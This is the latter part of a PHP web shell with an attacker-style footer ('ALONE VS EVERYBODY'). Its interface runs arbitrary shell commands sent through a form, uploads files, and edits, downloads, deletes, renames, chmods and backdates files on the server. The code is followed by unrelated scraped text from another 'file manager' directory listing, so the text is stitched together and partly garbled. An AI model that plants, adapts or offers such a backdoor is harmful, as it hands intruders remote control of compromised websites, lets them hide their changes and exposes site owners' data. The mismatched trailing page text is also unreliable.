            if ($curr === '' && preg_match('/^[a-zA-Z]:$/', $p)) {
                $curr = $p . '/'; echo '<a href="?path='.urlencode($curr).'">'.safe_html($p).'</a>';
            } else {
                $curr = ($curr === '') ? '/' . $p : rtrim($curr, '/') . '/' . $p;
                echo ($is_first ? '' : '/') . '<a href="?path='.urlencode($curr).'">'.safe_html($p).'</a>';
            }
            $is_first = false;
        }
        ?></div>

    <div class="grid-panel">
        <form method="post" class="form-group"><input type="text" name="x_run" placeholder="Execute Command..." required> <button type="submit">EXECUTE</button></form>
        <form method="post" enctype="multipart/form-data" class="form-group"><input type="file" name="file" required><button type="submit">UPLOAD</button></form>
        <form method="post" class="form-group"><input type="text" name="filename" placeholder="New File Name" required> <button type="submit" name="create_file">Create File</button></form>
        <form method="post" class="form-group"><input type="text" name="foldername" placeholder="New Folder Name" required> <button type="submit" name="create_folder">Create Folder</button></form>
    </div>

    <?php if(isset($_POST['x_run'])): ?>
    <div class="action-area">
        <div style="color:var(--cyan);margin-bottom:6px;font-weight:600;">$ <?php echo safe_html($_POST['x_run']); ?></div>
        <?php echo nl2br(safe_html(run_cmd_safe($_POST['x_run'], $dir))); ?>
    </div>
    <?php endif; ?>

    <?php if(isset($_GET['edit']) || isset($_GET['time']) || isset($_GET['chmod']) || isset($_GET['rename'])): ?>
    <div class="action-area" style="color:#fff;">
        <?php if(isset($_GET['edit'])): ?>
        <form method="post">
            <div style="margin-bottom:10px;color:var(--cyan);font-weight:600;">📝 EDITING: <?php echo safe_html(basename($_GET['edit'])); ?></div>
            <textarea name="x_data" style="width:100%;height:300px;background:#080a0f;color:#00ff9d;border:1px solid var(--border);padding:12px;border-radius:6px;font-family:var(--f-code);line-height:1.5;font-size:0.88rem;outline:none;"><?php echo safe_html(read_file_safe($_GET['edit'])); ?></textarea>
            <input type="hidden" name="x_name" value="<?php echo safe_html($_GET['edit']); ?>">
            <div style="display:flex;gap:10px;margin-top:12px;">
                <button type="submit" name="x_save" style="flex:1;">SAVE CHANGES</button>
                <a href="?path=<?php echo urlencode($dir); ?>" style="flex:1;background:rgba(255,255,255,0.05);color:#fff;padding:10px;text-align:center;border-radius:6px;font-weight:600;text-decoration:none;border:1px solid var(--border);">CANCEL</a>
            </div>
        </form>
        <?php elseif(isset($_GET['time'])): ?>
        <form method="post" class="form-group"><input type="text" name="custom_date" placeholder="YYYY-MM-DD HH:MM:SS" value="<?php echo date('Y-m-d H:i:s'); ?>"><input type="hidden" name="target_file" value="<?php echo safe_html($_GET['time']); ?>"><button type="submit" name="set_date">UPDATE DATE</button></form>
        <?php elseif(isset($_GET['chmod'])): ?>
        <form method="post" class="form-group"><input type="text" name="new_perm" placeholder="e.g. 755"><input type="hidden" name="target_file" value="<?php echo safe_html($_GET['chmod']); ?>"><button type="submit" name="set_chmod">CHANGE CHMOD</button></form>
        <?php elseif(isset($_GET['rename'])): ?>
        <form method="post" class="form-group"><input type="text" name="new_name" placeholder="New Name"><input type="hidden" name="target_file" value="<?php echo safe_html($_GET['rename']); ?>"><button type="submit" name="set_rename">RENAME</button></form>
        <?php endif; ?>
    </div>
    <?php endif; ?>

    <div class="table-responsive">
        <table>
            <thead>
                <tr>
                    <th class="text-left">Name</th>
                    <th class="text-right">Size</th>
                    <th class="text-left">Owner</th>
                    <th class="text-center">Date</th>
                    <th class="text-center">Perms</th>
                    <th class="text-right">Actions</th>
                </tr>
            </thead>
            <tbody>
                <?php 
                $items = @scandir($dir); if(!is_array($items)) $items = [];
                $fld = []; $fil = [];
                foreach($items as $i) { 
                    if($i == '.' || $i == '..') continue; 
                    is_dir(norm_path($dir . '/' . $i)) ? $fld[]=$i : $fil[]=$i; 
                }
                foreach(array_merge($fld, $fil) as $i): 
                    $p = norm_path($dir . '/' . $i); 
                    $is_dir = is_dir($p);
                    $perms = substr(sprintf('%o', @fileperms($p)), -3);
                    $size_str = $is_dir ? '-' : format_size(@filesize($p));
                    
                    $owner_id = @fileowner($p); 
                    $owner_info = (function_exists('posix_getpwuid') && $owner_id !== false) ? @posix_getpwuid($owner_id) : false;
                    $owner_name = ($owner_info) ? $owner_info['name'] : $my_user;
                    
                    $p_color = ($perms == '777') ? 'var(--accent)' : (($perms == '444') ? 'var(--read)' : 'var(--safe)');
                    $color = ($owner_name !== $my_user) ? '#ff2a5f' : ($is_dir ? '#00f0ff' : '#ffffff');
                    $icon = $is_dir ? '📁' : '📄';
                    if(strpos($i, '.') === 0) { $color = '#ffd600'; $icon = '⚙️'; }
                    
                    $link = $is_dir ? "?path=".urlencode($p) : "?edit=".urlencode($p)."&path=".urlencode($dir);
                ?>
                <tr>
                    <td class="text-left"><span style="margin-right:6px;"><?php echo $icon; ?></span><a href="<?php echo $link; ?>" class="file-link" style="color:<?php echo $color; ?>;font-weight:600;"><?php echo safe_html($i); ?></a></td>
                    <td class="text-right size-cell"><?php echo $size_str; ?></td>
                    <td class="text-left" style="font-size:0.82rem;color:#94a3b8;font-family:var(--f-code);"><?php echo safe_html($owner_name); ?></td>
                    <td class="text-center" style="font-size:0.82rem;color:#64748b;font-family:var(--f-code);"><?php echo @date("Y-m-d H:i", filemtime($p)); ?></td>
                    <td class="text-center"><span class="perm-badge" style="color:<?php echo $p_color; ?>;border:1px solid <?php echo $p_color; ?>;"><?php echo safe_html($perms); ?></span></td>
                    <td class="text-right" style="font-size:0.82rem;">
                        <?php if(!$is_dir): ?><a href="?edit=<?php echo urlencode($p); ?>&path=<?php echo urlencode($dir); ?>" class="act-link">Edit</a> <span class="sep">|</span> <a href="?download=<?php echo urlencode($p); ?>" class="act-link">Download</a> <span class="sep">|</span><?php endif; ?>
                        <a href="?rename=<?php echo urlencode($p); ?>&path=<?php echo urlencode($dir); ?>" class="act-link">Rename</a> <span class="sep">|</span> <a href="?chmod=<?php echo urlencode($p); ?>&path=<?php echo urlencode($dir); ?>" class="act-link">Chmod</a> <span class="sep">|</span> <a href="?time=<?php echo urlencode($p); ?>&path=<?php echo urlencode($dir); ?>" class="act-link">Time</a> <span class="sep">|</span> <a href="?delete=<?php echo urlencode($p); ?>&path=<?php echo urlencode($dir); ?>" class="act-link act-link-del" onclick="return confirm('Hapus item ini?')">Delete</a>
                    </td>
                </tr>
                <?php endforeach; ?>
            </tbody>
        </table>
    </div>
    <div class="footer">ALONE VS EVERYBODY &copy; 5162</div>
</div>
</body>
</html>

Directory Contents

Dirs: 0 × Files: 10
Name Size Perms Modified Actions
1.84 KB lrw----r-- 2026-06-05 12:24:17
Edit Download
894 B lrw----r-- 2026-06-05 12:24:17
Edit Download
763 B lrw----r-- 2026-06-05 12:24:18
Edit Download
893 B lrw----r-- 2026-06-05 12:24:18
Edit Download
762 B lrw----r-- 2026-06-05 12:24:18
Edit Download
29.07 KB lrw-r--r-- 2024-08-09 16:25:00
Edit Download
776 B lrw----r-- 2026-06-05 12:24:18
Edit Download
655 B lrw----r-- 2026-06-05 12:24:18
Edit Download
792 B lrw----r-- 2026-06-05 12:24:18
Edit Download
654 B lrw----r-- 2026-06-05 12:24:18
Edit Download
If ZipArchive is unavailable, a .tar will be created (no compression).
© 2026 0xNothings — Secure File Manager. All rights reserved. Built with ❤️ & Tailwind x Dark UI